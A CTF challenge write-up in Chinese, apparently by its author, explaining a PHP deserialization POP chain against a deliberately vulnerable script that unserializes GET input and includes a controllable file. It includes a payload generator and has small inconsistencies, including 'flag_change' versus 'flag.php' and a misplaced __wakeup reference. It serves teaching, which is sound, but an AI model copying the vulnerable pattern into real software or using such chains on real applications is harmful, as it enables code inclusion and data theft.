POP链
这次出了一题校内CTF的Web题目,这次出的是一个php的Pop链的题目(如果有不知道的小伙伴可以先去看看php的反序列化漏洞),也是第一次出题,当一次出题人哈哈哈哈哈哈。那我们来看一下题目吧。
题目:
<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
private $lalala;
public function qziedu($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->qziedu($this->lalala);
}
}
class A{
public $qian;
public $yu;
public function __toString(){
return $this->yu->qian;
}
public function __wakeup(){
echo $this->qian;
}
}
class V{
public $py;
public function __construct(){
$this->py = array();
}
public function __get($key){
$function = $this->py;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
Pop链构造
这题可以直接看到源代码中提示//flag is in flag_change;有一个方法qziedu()可以包含一个文件,并且echo了变量flag,那很明显我们只要给$value赋值为flag_change并且触发了这个函数就可以得到flag。
public function qziedu($value)
{
include($value);
echo $flag;
}
接下来我们来分析一下怎么调用这个方法;要想调用这个方法我们需要构造一系列的payload,也就是pop链。
上面提到了我们需要调用方法qziedu()来获得flag;那qziedu()是在__invoke()下,__invoke()的触发条件是以函数的方式调用对象时触发,在代码里面V类的__get()是可以把对象当成函数调用的。
public function __get($key){
$function = $this->py;
return $function();
}
这里的return $function();看起来很正常,但是这个$function()是一个可控的变量,是由$py赋予的。那就可以把qziedu()赋值给$py来完成__invoke的触发。
显然这两句代码不是凭空触发的,是在__get()下的两句代码。__get()的触发需要获得一个不能访问的成员属性时触发。审计一下源码能发现调用成员属性的只有A类和V类里面有,V类里有着__wakeup模式方法,触发后会输出变量yu的成员qianyu,那这很明显就是我们需要的东西;我们反序列化时会触发__wakeup()然后输出变量qian,我们只要把qian赋值为当前类实例的对象,就可以触发__toString()去调用成员,那yu只要赋值为V类实例的对象,就可以完成__get()的触发。
class A{
public $qian;
public $yu;
public function __toString(){
return $this->yu->qian;
}
public function __wakeup(){
echo $this->qian;
}
}
至此完成整个Pop链的构造。我们整理一下链子:
A.wakeup --> A.toString -> V.get --> qzi.invoke --> get flag
payload
<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
private $lalala = "flag.php";
}
class A{
public $qian;
public $yu;
}
class V{
public $py;
}
$qzi = new QZI(); #实例化QZI
$v = new V(); #实例化V
$v -> py = $qzi; #将py赋值位qzi,为的是触发QZI类的中的__invoke
$a = new A(); #实例化A
$a -> qian = $a; #因为要触发__toString,并且是wakeup,所以这里要写自己的实例
$a -> yu = $v; #这里就是调用V函数的__get
echo urlencode(serialize($a));

浙公网安备 33010602011771号